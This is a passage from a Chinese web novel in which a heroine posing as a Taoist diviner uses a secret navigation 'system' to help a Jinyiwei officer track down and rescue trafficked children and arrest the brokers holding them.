夏楠声音不疾不徐,尚蓓盯着那案宗上密密麻麻的失踪名录,心底发寒。
“陛下很是重视,派王御史彻查。王御史带人赶到后,抓了一批又一批牙人,却始终没找到失踪的那些孩子。”
“不是拐卖?”尚蓓忍不住问出声。
夏楠摇摇头,“牙人拐卖通常会择贫儿、孤儿或美人胚子,而那些孩子的家境、形貌参差不齐,唯一的共同点就是失踪时年龄在十岁到十四岁之间,甚至比寻常拐卖的年纪还大一些。”
“这案子拖了很久,一直也没有新的失踪案发生,最后就把施州的核心官员换了一批,再加强巡防结案。”
“但就在王御史返京的路上,他自杀了。”
尚蓓呼吸一滞。
“王御史一向忠直敢言,却竟然以死明志。此案震惊朝野,陛下才令北镇抚司接手。”夏楠将案宗翻到其中一页,“前些日子,我专门派人到施州府,要来了失踪人口的八字。”
“本打算忙完手上的事就去邱城寻你,没想到你找上门来,倒省了我跑这趟腿。”他将那页名录推给尚蓓,“算吧。”
尚蓓深吸一口气,慢悠悠开始摆动作,脑海中打开系统面板。
“系统,添加联系人。姓名:赵贾。生辰八字:壬辰年,戊寅月,壬辰日,甲午时。”
【联系人不存在。】
尚蓓心里一紧,面上不显,随便糊弄了一下解卦,而后摇头道:“赵贾已逝。”
夏楠执笔,在名字上打了个叉。
尚蓓又摇一卦,琢磨着怎么找个由头给自己缩短一下前摇。
“钱依。壬辰年,丁卯月,乙亥日,丙申时。”
【联系人不存在。】
她摇摇头:“钱依也没了。”
夏楠又打个叉。
尚蓓神思一动,放下龟甲,掐起手指道:“我可以先粗略算算生死,若遇生者,再算方位。”
夏楠“嗯”了一声,算是赞同。尚蓓继续一个一个往下输,孙冰、李定、周妩……十几人后,出生年份到了癸巳,又到甲午,但系统始终是同一个回应。
【联系人不存在。】
【联系人不存在。】
【联系人不存在。】
……
尚蓓每掐一卦,便报一声“已逝”,夏楠在纸上叉了一个又一个。
直到尚蓓看到第三十七个名字。
“郑吉。乙未年,己巳月,辛丑日,戊子时。”
【联系人已添加。】
尚蓓的手顿住了。
她神思锁在脑海中那个极近的坐标,缓缓开口:“这个……还活着。”
夏楠抬眸:“在哪?”
尚蓓拿起龟甲摇了一卦,而后缓缓道:“我隐约看到,她就在京城南边的一个大宅子,但我不熟悉京城格局,你有舆图吗?”
夏楠立刻起身,自一旁架上抽出张舆图,铺开在她面前。尚蓓看着那简陋的地图,又比对着脑海中的高精地图,最终指在一个大宅院上。
“应该是这里。”
夏楠将那间宅院圈起来,坐回椅背,又铺了张新纸,目光落在案宗上的那行字,边念边写。
“郑吉,施州梓城人,乙未年生,一年前失踪,时岁十一,现在安国公府。”
尚蓓问:“他会不会是逃出来的?”
“逃出来不往家跑,千里迢迢来到京城?”夏楠摇头,“先记下,继续算。”
尚蓓定了定神,继续往后输名录。到第四十三个名字时,系统又给了回应。
【联系人已添加。】
她精神一振,而后神思又一僵,故意将手腕抖起来,龟甲与铜钱磕得叮当作响:
“这个也、也还活着,但不在京内。”
她神色隐忍,嘴唇发颤,一副遭遇阻碍的样子,“在……五百里之外。我这龟壳灵脉不足,看不清。”
夏楠皱眉。他伸手按住她手腕,抽走龟壳。尚蓓随即大口喘起气来,好似如释重负。
“需要什么法器?”
那双墨瞳盯着她,内里隐隐有些关切。尚蓓心里一紧,之前扯的谎太小了,这会儿一时不太好圆。她看了眼脑海中的距离,两千里,总不能说要镇太庙的太极龟壳吧。
“太极龟壳够吗?”
“咳、咳咳。”
尚蓓惊得连连呛了许多下,而后满脸难以置信地盯着他。
“这你也搞得到?”
夏楠移开眼。
“去偷不就行了,反正只用这一回。”
尚蓓张了张嘴,半天没合上。这位夏大人还真是为达目的不择手段啊,他就不怕掉脑袋吗?
她顺了顺气,连忙摆手:“不必不必,事关人命,贫道可以……耗些阳寿。”
夏楠微微抿唇,而后站起身:“你等着。”
“别别别,真不用。”尚蓓慌忙拉住他,绞尽脑汁圆谎,“那个……其实、其实阳寿还能补回来的!”
夏楠身形顿住,目光落在她掌心:“如何补?”
尚蓓赶紧松手,故作高深捻了捻下巴:“吾辈道修,阳寿随修为而涨。待我得证大道,受万民香火供养,阳寿自然绵绵无尽。”
她说着怕他再拒,赶紧抓起龟甲,假装强忍痛苦般晃了几下,而后对着地图描述道:“在……京城往南……两千里左右,再……偏东一点,的一座大城。”
“扬州郡。”夏楠又抽出张扬州舆图,尚蓓依着脑海中的坐标,点在另一户大宅。夏楠瞥一眼,提笔写道:王耕,施州宋城人,乙未年生,一年前失踪,时岁十一,现在扬州严府。
搁笔,夏楠给她翻了页案宗,抬眼看她,“还能继续吗?”
尚蓓点点头,又装模作样地掐起指来。
随着年龄降到十岁,存活的名字明显多了不少。尚蓓一共输了五十二套信息,总共成功添加了七个,其中两个在京里,五个在京外,位置都是大宅院。
尚蓓摇完最后一卦,搁下龟甲,抻了抻发酸的手指。夏楠看着名单,冷笑一声:
“大的全死了,小的还活了些,去向都是豪门大户。看来这生意相当费钱,而且年龄越小越值钱。”
尚蓓看着那些血淋淋的名录,脊背泛起一
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股寒意。夏楠指尖沿着那一行行名字下滑,缓言道:
“去岁那案子闹得沸沸扬扬,这些人想必都听到了风头,能处理掉的,大抵都悄悄处理掉了。留下这几个活口,恐怕是买卖刚做成,还没来得及收回本,故而心存侥幸,不舍得抛弃。”
“这些还只是报了官的。”尚蓓攥紧了手心,“若是算上些家人没报官的,恐怕数目还要再翻上几番。”
夏楠盯着舆图上圈出来的宅院,眉头紧锁。
“此案牵扯极广,但不能一个一个去拿人,否则会打草惊蛇。”
“只是这几人现在的身份样貌,我们还不确定。你须跟我一起到这些宅院里去,先暗中指给我记下,而后顺藤摸瓜,找到隐藏的那些孩子,再一举救出。”
尚蓓一愣,随即为难道:“可我最多给你带京城这两人,京外那些地方,我……不方便跑长途。”
夏楠看了眼某几个州郡的距离,沉默良久。
“既如此,你先同我将京内的点踩了,至少看看在这种‘生意’下的人,有无明显特点。而后京外那几户,我另派人去查探,若能找准最好,找不准的,再带你去,走水路,缩短些脚程。”
尚蓓精神一振:“好说!那我们现在走吗?”
夏楠轻嗤一声:“大白天去踩点?怕是吓得人第二天就暴毙了。”
他将那七个孩子的信息誊了一份,而后合上案宗锁进柜里,起身,拎起椅背上的官服外袍:
“即日起,你就住到我府上。我会派人保护你的安全,但你也不可随意外出,有什么缺用的直接跟管家说。”
“走罢,我送你回客栈,收拾东西。”
尚蓓收起龟甲铜钱,跟着他往外走,心里盘算着怎么给自己圆谎。
就是说那头小毛驴。
夏楠看着她从客栈后院优哉游哉牵出一头驴,脸顿时黑了下来。
眼见他扶上刀柄,尚蓓赶紧搬出旧日解释:“我前些日子参悟道法有得,已经掌控了部分收束灵韵的法子。但也只足以蒙混这等愚钝的牲畜,没法驾驭那等五感灵敏的马匹。”
说着,她还小心翼翼地往一旁马厩靠了靠。见那些马儿立刻开始躁动,夏楠下意识地想往她身前拦。
却见尚蓓一触即回,马厩渐渐归于平静。
夏楠看看马,看看驴,又看看尚蓓,神色从受骗的愠怒,逐渐变成一种期冀。
“这道法……你还能多参悟些吗?”
尚蓓斟酌着开口:“能,但……”
“可需要风水宝地?”夏楠面露喜色,急切道:“我可以带你潜入国师府,据说她那儿有一湾灵泉,对感悟天地法则大有裨益。”
尚蓓心虚地移开眼,手上无意识地甩搭着缰绳。
“那倒不用,我参悟道法,靠的是……做好事。”
夏楠面色一滞,“啊”出一声。
尚蓓赶紧描补道:“呃……我师门修的是众生信力,只要多做好事,多积功德,就能参悟道法。但我只精通寻人这一类卦象,于是就靠这种方式营生。”
说罢,她飞快瞥了夏楠一眼。他若有所思地摩挲着下颌,半晌,才缓缓开口:
“原来,道长修的是这般路数,倒是我狭隘了。”
9. 夜探国公府
尚蓓偷偷松了口气,顺着他的话点头:“之前帮你抓于痊,就让我得了不少领悟。所以,你还有没有这种重犯需要我帮忙抓?只要是为民除害的事,都能帮我攒信……功德。”
她叉起手指比划了一下:“差不多再抓……十个于痊这种级别的重犯,我应该就能骑马了。”
瞧着她那上赶子揽活的架势,夏楠心中不禁有些好笑。他转身向外走,走着沉声道:
“于痊这种案子不常有,但为作幌子,我把大周各重镇的失踪案宗也都搬了回来,你一并算着,面上只称从打拐查起,叫那些人再放松些警惕。”
“这怎么能叫幌子呢!”尚蓓牵驴跟上他,声音里有些忿忿,“拐卖难道不值得查吗!”
夏楠身形一顿,回头瞥她一眼。
“不归北镇抚司管。”
尚蓓愣了一瞬,而后反应过来。北镇抚司管的是诏狱,查的是官员谋反贪腐。若非那王御史自杀,寻常地方刑案本轮不到他们头上。
她抿了抿唇。
“那……那也不能太敷衍了,反而引起疑窦。”
夏楠唇角微勾:“这是自然。顺手的事。大师替本官算了那么多卦,给大师送点功德,应该的。”
两人谈着些细节,便出客栈,入了坊街。行人见避,瞠目瞪奇观:一男一女并一驴,一路走,一路谈。那男腰佩绣春刀,身上黑,面上寒。再看那女,竟灰袍挎布包,手上还甩着绳缰。虎威是真,这狐又何假?
有相熟的忍不住问:“夏大人,这位是?”
夏楠言简意赅:“尚道长,办差时认识的。”顺手格开那人的马。
尚蓓配合地露出个玄妙的笑,而后向街边又凑了凑,小心避开一切骡马牛。
二人一直走到夏府,管家迎出来,见了这头驴,也忍不住愣了愣。夏楠轻咳一声,开口吩咐:“尚道长。收拾间客房,再安置这头驴,仔细伺候。”
管家应声,立刻安排下去,又引着尚蓓往西跨院走。夏府不大,屋舍只能说规整,有着四品大员基本的体面,但也没什么美感。庭院草木单薄,处处透着清冷。
“夏大人……一个人住?”尚蓓有些好奇。
管家点点头:“大人少失怙恃,后来忙于公务,也未曾成家。若是道长有什么需求,尽管开口吩咐。”
尚蓓闻言心头一怔,没好再往下问,只跟着管家进了西跨院。她暂歇了片刻,用过午膳,而后同管家要来纸笔,依着脑海中的地图,仔细描画起来。
她画得认真,连夏楠进来都没发现。直到一个锦盒扣在他手边,耳畔响起一个幽沉的声音:“画的什么?……宅子?”
尚蓓一吓,手上笔迹陡歪。好在她画得本来就不咋地,重点也不是她的画工。尚蓓搁笔,指在那张粗糙平面图的角落,上面写了个“王”字:
“扬州那个王耕,今天应该是在严府这个位置,但也不排除她后续会挪窝。”
她又揭过一旁晾好的四张图,叠在一起,递给他。
“最近我会持续关注卦象,如果这些人的方位一直没有变动,说明可能处于囚禁状态,你大可直接把这附近的人都抓来。”
夏楠眼神微变。
“这你也能算出?”
尚蓓沉默了一瞬。
系统地图比这还要精细,她甚至能看到整个宅院的格局,看到那人就在院角一处小屋,整整半日都没有任何动静。但她该怎么圆?说自己有千里眼吗?
最后,她只故作神秘之色:“此乃我师门秘法。”
夏楠深深看了她一眼,接过图纸小心收入怀中,而后打开锦盒道:“陛下赏的,国师亲炼,据说能延年益寿。”
尚蓓一愣,定睛去看,见里面竟是颗鸽蛋大小的丹药,通体赤红,一看就不是凡品。
她下意识地后退了半步。
她自然知道自己是个假道士,但……古代那些真道士炼丹,用的可都是……毒。
尚蓓使劲摆手:“此物珍贵,贫道受之有愧。”
夏楠却不依,又往前推了半寸:“东西给你,我不会收回。你不要,就扔了。”
尚蓓看着他一脸真诚,感觉头有点大。
怎么说呢,也算是有心,虽然是封建迷心。尚蓓琢磨着,下回找借口,不如还是要钱,就说有钱能使鬼推磨。
行吧,她偷偷扔掉,好叫他也别吃这东西。尚蓓心里腹诽,面露感动之色:“那……贫道就忝受了。”
夏楠“嗯”了一声,又从袖中摸出两卷案宗,淡淡道:“这是京畿四年来的失踪名录,你先算着,看看有无近处的私牙庄子。五百里外就不必强求了,左右你一时也去不了。”
尚蓓接过,郑重应下,夏楠不再停留,转身告辞。尚蓓等着他身影完全消失,这才屏住呼吸,小心把那丹药碾碎,而后找了处荒芜的院角,刨出个小坑,仔细埋进土里。
——
子夜时分,安国公府北侧更道。
【您已偏航,正在为您重新规划路线。沿当前道路,向东步行五十米。】
尚蓓贴在墙根,仰头看着面前的高墙。很显然,就连系统都不觉得这儿能走。
然而。
她看了眼夏楠。
他正半跪在地,眼神示意她踩上去。尚蓓深吸口气,颤巍巍往他背上爬,而后扶着墙,一点一点抬升。
直到她臂弯踏实抱住那片黑瓦,脚下骤然一松。她一惊,死死咬住唇才没呼出声。而后身旁黑影腾空,稳稳蹲在墙头,托着她腰把她姿势拨正,又向下纵身一跃。
极轻的钝声响起。他回头看她,张开双臂,一颔首。
尚蓓咽了咽口水,往下跳,直直落入那个结实的怀抱。夏楠身形轻轻一晃,很快稳住,揽着她躲向阴影。
【路线已更新。沿当前道路,向南步行十米。】
尚蓓勉强扶着他站好,而后伸出手,颤巍巍地指了指南边那个小木门。
夏楠依着她的方向看去,摇摇头,指了指另一个方向。对侧月洞门处,笼灯轻晃。
“有人。”他气音道。
尚蓓点点头,又指指对侧院墙,比划了一番。毕竟系统只负责带最短路线,不负责避开人。这一趟,夏楠改道不止一次了,她只需指好目的地,潜行的难题由他解决。
如果不是怕暴露异能,她真想直接给他画出安国公府的精细地图,标记郑吉所在的那间屋舍。但至少眼下她还没有摊牌的底气,只能亲自带路。
尚蓓跟在他身后,借着夜色掩护一步步挪动。两人挤过屋与墙的夹缝,听见屋中传来轻酣,避开巡夜人的视线。而后夏楠向院外打了个手势,一个黑影微动,随后,对侧的视线转移了。
“什么人!”
趁那边一阵骚动,他拉着她闪身进去。
两人又绕过一排倒房,最后停在一处小院外,院墙斑驳,瓦片残破,和方才那些雕梁画栋的屋宇完全不同。
尚蓓指指那院落,重重点头。
夏楠翻身上墙,探头飞快地扫了一眼。院里只有一间小屋,门口一个仆役看守。
他带着尚蓓又绕了一大圈,从小屋后墙翻上去
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,最后停在屋顶,尚蓓则挂在墙头。屋顶有瓦,她这种没功夫的做不到悄无声息。
她看着他轻轻推开半片黑瓦,静观片刻,而后对着她比了个“一”。
尚蓓再次重重点点头。
这也是她跟来的主要原因。她脑海中只有郑吉的坐标,若点位附近有许多人,她还需结合行动轨迹仔细分辨。但若屋里只有一个人,那这一个人只能是郑吉本人。
夏楠又仔细瞧了半盏茶的时间,这才退回尚蓓身边,拉着她隐入墙缝。
“睡着了。气息虚弱,身上有伤,但不算枯瘦,应该没挨饿。”他气音道,“屋里比较简陋,还算干净,没有霉味。”
尚蓓忍不住带了些期冀。或许,他只是因为不听话而挨了罚?
夏楠又窥向院子四周。满地铺着粗石,月光下,周围皆色泽黯淡,但正中隐隐有一条光滑的浅痕,显然时常有人进出。
他给墙头打了个手势,而后拉着尚蓓退出安国公府,又去了户部侍郎家。一番潜行后,两人在一处柴房停下。这回窗户用木条钉死了,门上挂着铁锁,门口还站着两个守卫,守卫强度显然更高。
屋里有低低的啜泣声,夏楠隔着墙听了一会,回来道:
“哭声不正常,应该是舌头没了。”
尚蓓呼吸一滞,死死捂住嘴,好半天才压下翻涌的恶心感。
回到夏宅,夏楠带尚蓓到书房,点上灯,翻出那七人的名单,盯着户籍信息思索。
“这陈歆家境尚可,想必难以接受这般跌落,时常反抗,动静太大,才遭了拔舌。那郑吉出身穷苦人家,在这儿反而有了吃穿,或许比较配合他们,故,处境明显更好。”
尚蓓努力跟上他的思绪。
“也可能是因为,陈歆失踪时间更近,还没适应,而郑吉受害一年有余,已经麻木了。”
“有这种可能。”夏楠颔首,“但郑吉身上也有新伤。所以这种勾当,至少与放血有关。”
“放血?”尚蓓听得毛骨悚然,“何以见得?”
“郑吉的伤,都是刀伤,且大多在臂上。”他在自己胳膊上比划了一下,“这种伤不疼,且……”
“不疼?”尚蓓倏地站起身,神色激愤,“他才十一岁!而且已经受了整整一年的折磨!”
烛火下,她眼眶通红,肩膀发颤,胸口剧烈起伏。夏楠一愣,有些不自在地别开眼,微微抿唇:
“我的意思是,这种伤,并非为了惩罚。”他声音不自觉地放软了些,“许是某种邪术需童血入药,且还要长期施行,为防他过于体虚,影响放血,故而基本的衣食是有保障的。”
尚蓓深吸口气,强迫自己冷静下来。
冲他发火显然没用。可这一晚上,他的冷静,他的淡漠,只听哭声就猜出拔舌,只看刀伤就猜出放血,都让她心头隐隐泛起寒意。
是见过多少血淋淋的实例,才能练出这样一针见血的本事?
她强压下心头的不适,顺着他的思路分析:
“如果只是需要童血,大可不必费这么多心心思。那些舍不得放弃的本钱,衣食的长期供养,乃至遭到抵抗都不会使用死亡惩罚,足以说明这种邪术的人选背后有某种稀有性。错失这个,很难再找到下一个。”
“在理。”夏楠轻轻颔首,“且这种选择与家境、样貌都无关。虽说大部分还是平民百姓,但要的急了,也会铤而走险,把主意打到小户门第头上,至多不敢招惹豪门。”
尚蓓沉默许久。
“既然是邪术,那……会与命格有关吗?”
10. 系统,定位张丫
夏楠盯着她,微微蹙眉:
“你一个道士,问我?”
尚蓓心里一吓。
“术业有专攻,我……最多能看懂个别特殊命格。”她努力回忆着原主那本《易经》,“但这些受害者的八字,显然不具备什么极阴极阳的共性。”
为防误判,她又连忙补充:“不过,我还是建议你找算命大师再确认一下,万一真的有呢?”
夏楠摸着下巴,沉吟片刻,缓言道:“但若此案真与某种命格相关,更须保证方士值得信任。否则,算命这一举动便会走漏风声。”
尚蓓颔首,深以为然,却听他又道:
“既然术业有专攻,那你师门可有推荐的人选?”
尚蓓表情一僵,强笑道:“我……师门各自云游,恐怕一时找不到人。”
夏楠面色有些失望,倒没追问。
“此案机要,我先需禀明陛下,再寻可靠的方士襄助。”他收起案宗起身,“天快亮了,你先歇吧。待我下值,便随你去扫京外那几处牙行。”
尚蓓精神一振:“好!那你也记得休息!”
回到客院,已是寅时初。她略歇了两个时辰,便起来用早饭,而后仔细核对了一番地图与名录。
昨天下午,她把京畿近年来的失踪人口都录入了系统,除去亡者,还有十五人,正是被非法拐卖的儿童。
这世界本存在一些合法的奴仆交易,尚蓓恨自己还无力改变。但依旧有那么些牙人,为了牟求暴利去拐卖良民,这就是她今天能争取的道义了。
午时初,管家前来递话。她换上一身便装出院,夏楠已倚在了门口。他身边有头高大的黑马,见她出来,夏楠又将黑马略扯开了些。
尚蓓贴着墙根小心擦过去,骑上自己的小毛驴。
“走吧。我带路。”
她轻甩小鞭,在心中道:“系统,定位张丫。”
【骑行导航开始。沿当前道路向西出发,骑行1.6公里。】
半个时辰后,一驴三马一前三后出了城。驴蹄哒哒哒哒倒腾得飞快,已然被尚蓓鞭策到了极限,却依旧压得斜后面大黑马迈不开腿。听见身后不耐烦的响鼻,尚蓓有些窘迫,忍不住又甩了一鞭。
夏楠倒不着急,眼神稳住后面缀的两个亲信。他一手执缰,另一只手搭在鞍前,目光落在前方颠颠的浅灰背影。
“道长参悟道法,只能通过寻人这一营生吗?”
尚蓓心中一紧。她稳着身子扭头,面色有些犹豫。
“……是。毕竟我修的就是寻人一道,故而必须在实践中磨炼本事。”
身后轻轻“嗯”了一声,静默片刻,复又响起。
“道长寻人,必须要生辰八字吗?”
尚蓓下意识地握紧了缰绳。
“对,而且姓名、八字缺一不可。夏大人可是有什么人要寻,但却不知其八字?”
夏楠语气平静。
“那倒没有。只是想着,有些犯人身份不定,怕是用不了这法子。”
尚蓓微微松了口气:“嗯,必须有清晰的目标,贫道才能起卦。”
夏楠未再回应。他跟着她又小跑了一段,见她驱着驴儿嘚吧嘚转向乡间土路,在一条岔路选择左转,才朗声叫住她:
“昨夜下了雨,这边怕是不太好走,右转吧,也能过去。”
面前身形一顿,而后从善如流地勒住驴头,调转回来。夏楠眉峰微挑,没说话,只策马避开,又示意两个亲信给她让路。
复行二百米,尚蓓听见脑海中响起电子音:
【您已偏航,正在为您重新规划路线。掉头,在上一个路口右转。】
她有些疑惑,继续又走了一段,系统仍然让她掉头。她不信邪,一直引到一处半人高的断墙面前,才扯住缰绳,回头看夏楠,见他一拍马脖子,懊恼道:“原是我疏忽了,忘记驴子不好越这道墙。”
“哦,无妨,我们回去便是。”
尚蓓十分体贴地笑笑,勒着驴掉头,往回走上先前那条岔路。没百米,地上便有了一大片泥淖,倒确如夏楠所言。驴儿有些抵抗,却仍是不情不愿地迈进了泥里,甫一涉入,便陷进去大半只蹄子,而后艰难地拔出来,再陷。
夏楠催马稳稳跟在后头。他盯着那串蹄印,想起追捕于痊时几乎笔直的路径,眼中疑虑稍减。
舆图不会记录这些村野土路,故而只有常走的人才熟悉这些细节。这倒说明她确实是只知方位,不认路。否则,她大可绕条里程稍远,但更平稳的土路。
但方位着实有些过于精确了。若遇动乱,岂不是能用来估测敌情?此人须得紧紧攥在自己手里,决不能为敌所用。
思及此,他眼神微冷。自己的八字,更要死死捂住。
过了泥路,是片农田,仲夏时节,入眼青葱。尚蓓驱驴在田垄外小心骑行,嫩叶的清香钻入肺腑,她情不自禁地深深吸了一口。田中几个佃农见这一行人,连忙蹲身躬腰把自己缩进麦根里。
苍天哪,锦衣卫怎么会跑到他们这村旮旯来!别是他们东家犯事了吧!
【您已到达目的地附近,导航结束。】
尚蓓在一处土坡前落定,指着对面一田庄道:“就在这里面,有四个失踪女童。”
夏楠轻轻颔首,驱马绕过她驰至门口,两名亲信亦紧随其后。一个守门的婆子见拐角冲出三个黑影,吓得腿都软了,丢下手中扫帚就往里跑。
“夫人、夫人!锦衣卫来了!”
夏楠利落翻身下马,大步掠进院门。内里匆匆忙忙迎出个珠圆玉润的中年妇人,脸上堆着强笑,弯腰一福:“不知大人驾临,有失远迎,敢问大人……”
夏楠连个眼神都没给她,扶刀跨在院中,对左右道:“搜。”
两名亲信应声往后院奔去,妇人脸色骤变,急急拦道:“大人!后院都是女孩儿,您让人这般闯进去,坏了她们清白可如何是好啊!”
“女孩儿?”尚蓓刚系好驴,进来便听见这一句,不禁恼怒道:“谁家的女孩儿?是张铁、王货、李章、
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董磐家的女孩儿吗?”
那妇人脸色煞白,往后退了一步,嘴硬道:“你是何人?竟敢在锦衣卫的大人面前胡说八道!我们这安顺牙庄,做的是正经买卖,手里的人都按律签了契的!”
正此时,亲信驱着十几个女孩儿走了出来,小的约莫七八岁,大的约莫十二三,皆身姿瘦弱,面容清秀,神色惶恐。有的怀里还抱着琵琶,指尖泛血,显然正在练习琴技。
那亲信把一沓契书递给夏楠:“夏大人,这是从账房搜出来的。”
夏楠接过,随手翻了翻,递给尚蓓:“点人吧。”
尚蓓快速浏览了一遍。上面几页契书确实写得明明白白,卖身人姓名、保人画押、成交银两、卖身原因,一应俱全。她心里微沉,虽然自己不能接受,但这确实是“合法”的人身买卖。
但翻到下面,有几张就不一样了。
契书上只写了个名字,画押那一栏都是同一套指印,连银两都填的同一个数。甚至,这种有问题的契书,比脑海中的坐标数还多两个。
她对着契书念道:“张丫,王妮,李婉,董淑,徐囡,季三,你们出来。”
十几个女孩子你看看我,我看看你,最后怯生生地推出来六个,尚蓓拉着她们往门边靠了些,果然见脑海中坐标随之而动,一个不落。
她比着契书和报官文书,挨个核对名姓,最后又问了多出来那两人:“你爹娘知道你在这儿吗?”
一个女孩儿顿时就哭了:“我、我不知道……我一醒来,就在这儿了,嬷嬷说,是我爹悄悄把我卖了……”
另有几个女孩儿也抹起眼泪,纷纷哭告自己不知情,也有人愈发沉默。尚蓓心里冰冷,面上温和安抚了几句,抬头指着四个女孩儿,对夏楠道:“这四个都是京畿一带的失踪女童。”
她又指另外两个:“这两个契书也像伪造,但爹娘应该是没报官。”
那妇人脸色一白,随后转身向夏楠深深一拜:“大人明鉴,这些女孩儿也是我们从别的人牙子那儿转来的,其中或许有些疏漏,但……我们牙行也是受了蒙骗!我们……我们愿意赔钱,放人,还望大人高抬贵手。”
她向身后一个嬷嬷使了个眼色,嬷嬷会意,立时便转身捧了个匣子出来,虚虚掀开条缝,里头金光微闪。
“一点薄礼,请大人笑纳。”
夏楠微微偏头,看向尚蓓,似笑非笑。
“如何,要笑纳吗?”
那妇人这才反应过来,连忙亲自捧了匣子到尚蓓面前,身子躬得更低:“不知夫人是哪位姑娘的家眷?我们安顺牙行也是受了蒙骗,还请您饶了我们这一回吧!”
尚蓓微愣,摸摸后脑,这才想起自己今日虽然穿了便装,但盘的仍是个妙常髻。
回神,她打开她的手,冷声道:“《大周律》,凡以略人、和诱使良人为奴婢者,杖一百,流三千里。”
她回身向夏楠抱拳:“还请大人依律办事。”
夏楠颔首,面色冷沉,对亲信道:“带走。”
11. 朱花
那妇人僵在原地,面色满是难以置信,随即扭着胳膊尖喊:“律法是这么写的,可……可京里京外这么多牙行,哪一家不是这么做的!我们家也只是偶尔捡几个没人要的野种,凭什么只拿我们安顺开刀!”
尚蓓看着她被亲信死死制住,冷笑道:“别急,你的同行很快就会进去陪你了。”
不多时,满院妇人婆子仆役都被捆了起来,串成一条往前走。院门贴了封条,尚蓓骑上驴,女孩儿们也畏畏缩缩跟在她身后。
“还请夫人明示……”那妇人已然忍下了那股子怨气,声音卑微到了极点,“我们这……微末小民,也不过图几个银钱,何至劳动北镇抚司啊?”
尚蓓没应她。一行人返至官道,京兆尹府的差役已经在道旁候着了。那为首的官差见了夏楠,连忙上前躬身行礼。
“下官无能,竟劳动大人为这些小案奔波,实在惭愧!”
夏楠鞭稍指了指四个失踪的女孩儿,道:“着家里来领。”
又指指剩余的女孩儿:“仔细核验契书,该放的放,愿赎的赎,剩下的转入官牙。”
最后指牙人:“移交法司,按律定罪。”
几个妇人婆子一愣,皆是一脸如释重负。差役亦是一愣,小心问道:“不知……大人要定什么罪?”
夏楠冷睨他一眼。
“按律定罪。”
那差役不敢再多嘴,连忙应了,上前接手女孩儿们与人犯。尚蓓骑着驴立在一旁,听着脑海中【信誉分+40】,心头犹有些许滞闷。
家里报了官的,对这些女孩儿尚算记挂。家里没报官的,大抵本就不在意她们死活。主动卖女的,更难说会出钱来赎。
自己能做的,也不过是将她们从无所顾忌的黑商手中救出,送到相对规范的官方人贩子手里。
夏楠余光瞥见她神色,眉峰微压,扭头对差役又补了一串:
“本官怀疑她们与施州失踪案有关,故而严查非法拐卖。让官牙核实京中所有仆婢交易,若有来历不明的牙人,一一登记报给北镇抚司。近日再发生失踪案件,需如实查访,不可隐瞒拖延,否则按包庇论处。”
几个牙人听见那案名,连忙哭嚎着说自己干净生意,与那施州之案绝无关系。差役亦是神色一肃,连忙应声应下,不敢拖沓,即刻带着人犯转身离去。
尚蓓缓过神,冲夏楠微微欠身:“多谢大人。”
夏楠轻扯缰绳,向前抬了抬下巴:“下一处。”
尚蓓一甩小鞭,又定位了另一处牙行,救下六个被拐的孩子。
——严格来说,是六个被拐后,有家人惦记的孩子。
“最后五个失踪时间比较早,位置不集中,应该是已经被卖出去了。”尚蓓自袖中摸出张舆图打开,指给几个有标记的宅院,示意给夏楠,“这两个在京内大户,另外三个在京畿几座辅城。”
夏楠随便看了一眼,回她:“今日把京城的找了,杀鸡儆猴。京畿我另派人去办,你留下。”
尚蓓自无不可。她收起舆图,驱着驴往内城返。一驴三马疾行一里半,来到城西一家宅院。门房见是锦衣卫,急急跑进去通报,没过片刻,便有一个青袍官员迎了出来,拱手,神色紧张:
“夏大人大驾光临,有失远迎。不知大人来寒舍有何贵干?”
夏楠亮出令牌,声音冰冷:“奉旨查案。听闻蒋少卿去岁买了个来路不明的丫鬟,名为朱花。限你一炷香时间,把人交出来,否则别怪我不客气。”
蒋少卿一愣,面色有些迷茫:“夏大人,我府上……并没有叫朱花的丫鬟啊。”
夏楠冷哼一声,扶刀:“本名。一炷香。”
那蒋少卿闻言慌忙嗳了一声,蹀蹀地跑回去。夏楠在门口踱了两个来回,便对尚蓓一摆头:“走,进去。”
尚蓓“啊”了一句:“还没到一炷香吧?”
却见他轻嗤:“真给他一炷香?北镇抚司的面子往哪儿搁?”
尚蓓目瞪口呆地看着他把绣春刀一摘,大步大步往里迈,惊得廊下燕雀四散,只得连忙跟进去。一行人直直穿过前院花厅,刚走到抄手游廊,就听见后院闹哄哄的声音传出来:
“你叫什么?你叫什么?谁叫朱花?”
院子里,七八个丫鬟挤做一团,人人自危,纷纷垂首不敢作声。只见一个贵妇人拿着本册子,正一个一个问过去,急得满头大汗。而蒋少卿负手站在阶上瞪眼,厉声吼道:
“谁叫朱花!赶紧站出来!别连累蒋府!”
忽闻月洞门外脚步声裹挟着凶风穿庭而过,他僵硬地扭过头,连忙一躬身:
“对不住夏大人!下官正在着内人核验身契!劳您再等些时候!”
夏楠横刀隔开他半尺:“让开。”
蒋少卿趔趄一下,而后白着脸往旁缩了缩,堪堪扶住廊柱才没倒下。那贵妇人也两股战战,然而她立在庭中,没东西扶,身子一瘫,歪在面前一个丫鬟身上,庭中倒了一连串。
“搜。”
一字令下,两个亲信立马分开闯向东西厢,满院丫鬟婆子哭的哭,躲的躲,乱作一团。尚蓓跟在夏楠身后一步,挠挠头,小心凑近他:
“那个……”
一个眼刀扫过来,惊得尚蓓心里陡然一跳。
这也是北镇抚司的面子?
她垂下眼,往墙角靠了靠。
约莫过了一炷香的功夫,两个亲信提溜着一个粉衣美人出来了。蒋少卿一愣,小心道:
“夏大人要的,不是……丫鬟吗?”
夏楠冷嗤:“入府时是丫鬟。听闻蒋少卿风流成性,焉知你不会把人收为妾室?三年之内入府的,都要查。”
蒋少卿脸一白,再不敢开口。那美人见状,梨花带雨哭道:“老爷救命啊,妾身真的不是什么奸细!”
却见那青袍男子把头撇开,默不作声。美人身子顿时一软,瘫在地上。
夏楠没理会二人之间暗流,向尚蓓轻轻挑眉:“指。”
尚蓓应了一声,很给面子地拱手行了个礼:“是,大人!”
夏楠微微勾唇,见她慢悠悠走上前去,在那群惊慌的丫鬟之间梭巡了一番,最终状似无意地立在一个杏眼丫鬟面前,沉着脸出声:
“你叫什么?”
杏眼丫鬟身子立刻抖起来:
“回、回大人,奴婢红杏……”
尚蓓颔首,而后对贵妇人道:“把她的身契给我。”
那贵妇人勉强支起身子,指尖颤抖着从一沓身契中拣出一张,递给她时几乎拿不住。尚蓓接过,又比对着其它契书,状似仔细查看了一番,而后回身对夏楠道:
“夏大人,这契书是伪造的。此女就是癸卯二月,建城被拐的农女,朱花。”
